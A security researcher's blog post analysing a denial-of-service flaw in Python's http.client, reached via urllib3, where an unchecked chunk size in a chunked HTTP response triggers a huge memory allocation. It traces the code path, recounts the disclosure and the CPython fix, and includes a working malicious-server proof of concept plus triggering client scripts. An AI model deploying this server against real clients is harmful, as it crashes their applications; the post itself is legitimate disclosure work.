It’s been a while since I shared a post, I think I’ve forgotten how to start these things. Let’s cut to the chase.
One day, out of boredom, I was auditing the urllib3 codebase. At the time, I was also experimenting with integrating LLMs into my Vulnerability Research workflow (I might write a separate post about that later). As you might expect when analyzing an HTTP client library, I decided to focus my research on how the client parses responses. I was hunting for faulty parsing logic, perhaps a crash or a state inconsistency.
Since LLMs have limited context windows, I directed the agent specifically toward the code responsible for parsing response headers to keep the scope manageable. Supporting my initial hypothesis, the agent generated an alert regarding unchecked chunk sizes in HTTP responses containing the Transfer-Encoding: chunked header.
I then manually dug into the header parsing code. Believing I had identified the root cause, I reported the vulnerability to the urllib3 maintainers (even though I explicitly noted in the report that the execution flow passed through the http.client._safe_read() function…). At this point, urllib3 maintainer Illia was incredibly helpful with the root-cause analysis. You can read the full story here.
I then submitted the vulnerability to CPython. They released a fix within a surprisingly short time about two weeks but informed me that they had actually been aware of this problem for a long time (Approx. 1+ year :). Therefore, full credit goes to whoever originally found it. Let’s just say it was another ‘duplicate’ experience to add to my collection.
Vulnerability Analysis
The crash occurs because urllib3 relies on http.client for reading the response body.
By default, urllib3 preloads the response content. This triggers HTTPResponse.read().
In src/urllib3/response.py around line 1061, the read method initiates the process:
1
2
3
4
5
6
7
8
9
10
11
# src/urllib3/response.py
def read(
self,
amt: int | None = None,
decode_content: bool | None = None,
cache_content: bool = False,
) -> bytes:
# ...
data = self._raw_read(amt)
# ...
The read method calls _raw_read (around line 1009), which prepares the read operation:
1
2
3
4
5
6
7
8
9
10
11
12
# src/urllib3/response.py
def _raw_read(
self,
amt: int | None = None,
*,
read1: bool = False,
) -> bytes:
# ...
with self._error_catcher():
data = self._fp_read(amt, read1=read1) if not fp_closed else b""
# ...
_raw_read then delegates to _fp_read (around line 952), which finally calls the underlying file pointer’s read method:
1
2
3
4
5
6
7
8
9
10
11
# src/urllib3/response.py
def _fp_read(
self,
amt: int | None = None,
*,
read1: bool = False,
) -> bytes:
# ...
# Line 1007:
return self._fp.read(amt) if amt is not None else self._fp.read()
Here, self._fp is typically an instance of http.client.HTTPResponse. When self._fp.read() is called with a large amount, http.client attempts to read the response. If the encoding is chunked, http.client._read_chunked parses the chunk size.
The call stack continues from urllib3 into http/client.py:
_read_chunked: This method manages the loop of reading chunks. It calls_get_chunk_left()to find out how big the next chunk is.1 2 3 4 5 6 7 8 9 10
# cpython/Lib/http/client.py (Lines 594-602) def _read_chunked(self, amt=None): # ... try: # 1. Get the size of the next chunk while (chunk_left := self._get_chunk_left()) is not None: # ... # 3. Pass that size to _safe_read value.append(self._safe_read(chunk_left))
_read_next_chunk_size: Called indirectly via_get_chunk_left(). It reads the hex line (e.g., “FFFF…”) and converts it to an integer. It performs no upper bound check.1 2 3 4 5 6
# cpython/Lib/http/client.py (Lines 540-549) def _read_next_chunk_size(self): # ... try: return int(line, 16)
_safe_read: Called by_read_chunkedwith the huge size returned by the previous step. It attempts toread()that many bytes at once.1 2 3 4 5 6 7 8 9 10
# cpython/Lib/http/client.py (Lines 638-645) def _safe_read(self, amt): """Read the number of bytes requested. ... IncompleteRead exception can be used to detect the problem. """ data = self.fp.read(amt) # Crash if len(data) < amt: raise IncompleteRead(data, amt-len(data)) return data
Since amt is maliciously large (e.g., 16 Exabytes), self.fp.read(amt) attempts an impossible memory allocation.
PoC
Attacker Server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
"""
PoC: Malicious HTTP server exploiting urllib3 chunked encoding vulnerability
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
class MaliciousHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[!] Attacking client: {self.client_address[0]}")
# Send headers
self.send_response(200)
self.send_header('Transfer-Encoding', 'chunked')
self.end_headers()
# Send malicious chunk size (16 exabytes)
self.wfile.write(b"FFFFFFFFFFFFFFFF\r\n")
self.wfile.write(b"X\r\n")
self.wfile.write(b"0\r\n\r\n")
'''
Responds like this:
HTTP/1.1 200 OK
Transfer-Encoding: chunked
FFFFFFFFFFFFFFFF\r\n
X\r\n
'''
print("[+] Malicious response sent - victim should crash!")
if __name__ == "__main__":
server = HTTPServer(('0.0.0.0', 8888), MaliciousHandler)
print("[*] Malicious server listening on port 8888")
print("[*] Waiting for urllib3 victims...")
server.serve_forever()
Victim Client: (Urllib3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
"""
PoC: Victim client demonstrating DoS
"""
import urllib3
print("[*] Connecting to malicious server...")
http = urllib3.PoolManager()
try:
response = http.request('GET', 'http://localhost:8888/')
print(f"[+] Response: {response.status}")
data = response.read()
print(f"[+] Data: {data}")
except OverflowError as e:
print(f"\n[!!!] DOS SUCCESSFUL - OverflowError!")
print(f"[!!!] Error: {e}")
print(f"[!!!] Process crashed!")
except MemoryError as e:
print(f"\n[!!!] DOS SUCCESSFUL - MemoryError!")
print(f"[!!!] Error: {e}")
print(f"[!!!] Process crashed!")
http.client version:
1
2
3
4
5
6
7
#!/usr/bin/env python3
import http.client
conn = http.client.HTTPConnection("localhost", 8888, timeout=5)
conn.request("GET", "/")
conn.getresponse().read()
conn.close()
The Fix
The CPython team has addressed this vulnerability in http.client via gh-119451.